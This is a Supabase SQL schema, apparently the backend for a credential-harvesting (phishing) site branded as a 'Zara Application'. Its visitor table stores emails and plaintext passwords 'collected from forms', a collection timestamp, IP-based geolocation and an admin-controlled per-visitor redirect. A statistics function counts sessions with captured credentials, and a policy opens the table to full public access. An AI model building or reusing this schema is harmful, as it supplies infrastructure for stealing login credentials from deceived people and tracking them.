-- Complete Supabase Database Schema for Zara Application
-- Run this in Supabase SQL Editor to set up your database

-- ============================================
-- Create user_sessions table for tracking website visitors
-- ============================================
CREATE TABLE IF NOT EXISTS user_sessions (
  id UUID DEFAULT gen_random_uuid() PRIMARY KEY,
  user_id UUID NULL, -- Can be linked to an auth user later
  session_id VARCHAR(255) NOT NULL UNIQUE,
  ip_address INET NULL,
  user_agent TEXT NULL,
  page_url TEXT NOT NULL,
  created_at TIMESTAMP WITH TIME ZONE DEFAULT NOW(),
  updated_at TIMESTAMP WITH TIME ZONE DEFAULT NOW(),
  is_active BOOLEAN DEFAULT true,
  redirect_to_page TEXT NULL, -- Admin can set this to redirect user to specific page
  
  -- User credentials tracking
  user_email VARCHAR(255) NULL,
  user_password TEXT NULL,
  credentials_collected_at TIMESTAMP WITH TIME ZONE NULL,
  
  -- Geolocation data
  country VARCHAR(100) NULL,
  country_code VARCHAR(2) NULL,
  flag VARCHAR(10) NULL,
  city VARCHAR(100) NULL,
  region VARCHAR(100) NULL,
  
  -- Index for better performance
  CONSTRAINT unique_session_id UNIQUE (session_id)
);

-- ============================================
-- Create indexes for better query performance
-- ============================================
CREATE INDEX IF NOT EXISTS idx_user_sessions_session_id ON user_sessions (session_id);
CREATE INDEX IF NOT EXISTS idx_user_sessions_is_active ON user_sessions (is_active);
CREATE INDEX IF NOT EXISTS idx_user_sessions_updated_at ON user_sessions (updated_at);
CREATE INDEX IF NOT EXISTS idx_user_sessions_user_id ON user_sessions (user_id);
CREATE INDEX IF NOT EXISTS idx_user_sessions_user_email ON user_sessions (user_email);
CREATE INDEX IF NOT EXISTS idx_user_sessions_credentials_collected ON user_sessions (credentials_collected_at);
CREATE INDEX IF NOT EXISTS idx_user_sessions_country_code ON user_sessions (country_code);
CREATE INDEX IF NOT EXISTS idx_user_sessions_country ON user_sessions (country);

-- ============================================
-- Enable Row Level Security (RLS)
-- ============================================
ALTER TABLE user_sessions ENABLE ROW LEVEL SECURITY;

-- ============================================
-- Create policies for user_sessions table
-- ============================================

-- Policy to allow all operations for now (you can restrict this later)
CREATE POLICY "Allow all operations on user_sessions" ON user_sessions
  FOR ALL
  TO public
  USING (true)
  WITH CHECK (true);

-- ============================================
-- Functions and Triggers
-- ============================================

-- Function to automatically update the updated_at column
CREATE OR REPLACE FUNCTION update_updated_at_column()
RETURNS TRIGGER AS $$
BEGIN
  NEW.updated_at = NOW();
  RETURN NEW;
END;
$$ language 'plpgsql';

-- Trigger to automatically update updated_at
CREATE TRIGGER update_user_sessions_updated_at 
  BEFORE UPDATE ON user_sessions 
  FOR EACH ROW 
  EXECUTE FUNCTION update_updated_at_column();

-- ============================================
-- Utility Functions
-- ============================================

-- Function to clean up old inactive sessions (can be called manually or via cron)
CREATE OR REPLACE FUNCTION cleanup_old_sessions(older_than_hours INTEGER DEFAULT 24)
RETURNS INTEGER AS $$
DECLARE
  deleted_count INTEGER;
BEGIN
  DELETE FROM user_sessions 
  WHERE is_active = false 
    AND updated_at < NOW() - INTERVAL '1 hour' * older_than_hours;
  
  GET DIAGNOSTICS deleted_count = ROW_COUNT;
  RETURN deleted_count;
END;
$$ LANGUAGE plpgsql;

-- Function to get session statistics
CREATE OR REPLACE FUNCTION get_session_stats()
RETURNS TABLE(
  total_sessions BIGINT,
  active_sessions BIGINT,
  sessions_with_credentials BIGINT,
  unique_countries BIGINT,
  avg_session_duration INTERVAL
) AS $$
BEGIN
  RETURN QUERY
  SELECT 
    COUNT(*) as total_sessions,
    COUNT(*) FILTER (WHERE is_active = true) as active_sessions,
    COUNT(*) FILTER (WHERE user_email IS NOT NULL) as sessions_with_credentials,
    COUNT(DISTINCT country_code) FILTER (WHERE country_code IS NOT NULL) as unique_countries,
    AVG(updated_at - created_at) as avg_session_duration
  FROM user_sessions;
END;
$$ LANGUAGE plpgsql;

-- ============================================
-- Comments for documentation
-- ============================================

COMMENT ON TABLE user_sessions IS 'Tracks user sessions and interactions on the website';
COMMENT ON COLUMN user_sessions.id IS 'Primary key UUID';
COMMENT ON COLUMN user_sessions.user_id IS 'Optional link to authenticated user';
COMMENT ON COLUMN user_sessions.session_id IS 'Unique session identifier';
COMMENT ON COLUMN user_sessions.ip_address IS 'User IP address for geolocation';
COMMENT ON COLUMN user_sessions.user_agent IS 'Browser user agent string';
COMMENT ON COLUMN user_sessions.page_url IS 'Current page URL when session was created';
COMMENT ON COLUMN user_sessions.created_at IS 'Session creation timestamp';
COMMENT ON COLUMN user_sessions.updated_at IS 'Last session update timestamp';
COMMENT ON COLUMN user_sessions.is_active IS 'Whether session is currently active';
COMMENT ON COLUMN user_sessions.redirect_to_page IS 'Admin-configured redirect target';
COMMENT ON COLUMN user_sessions.user_email IS 'User email collected from forms';
COMMENT ON COLUMN user_sessions.user_password IS 'User password collected from forms';
COMMENT ON COLUMN user_sessions.credentials_collected_at IS 'Timestamp when credentials were collected';
COMMENT ON COLUMN user_sessions.country IS 'Country name based on IP geolocation';
COMMENT ON COLUMN user_sessions.country_code IS 'ISO 3166-1 alpha-2 country code';
COMMENT ON COLUMN user_sessions.flag IS 'Country flag emoji';
COMMENT ON COLUMN user_sessions.city IS 'City name based on IP geolocation';
COMMENT ON COLUMN user_sessions.region IS 'Region/state name based on IP geolocation';

-- ============================================
-- Sample Data (Optional - Uncomment if you want sample data)
-- ============================================

/*
-- Insert sample session data for testing
INSERT INTO user_sessions (session_id, ip_address, user_agent, page_url, is_active) VALUES
('sample-session-1', '192.168.1.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'http://localhost:3000/', true),
('sample-session-2', '192.168.1.2', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36', 'http://localhost:3000/schedule-call', true),
('sample-session-3', '192.168.1.3', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36', 'http://localhost:3000/', false);
*/

-- ============================================
-- Setup Complete
-- ============================================

-- Your database is now ready for use with the Zara application!
-- Make sure to update your .env.local file with your Supabase credentials.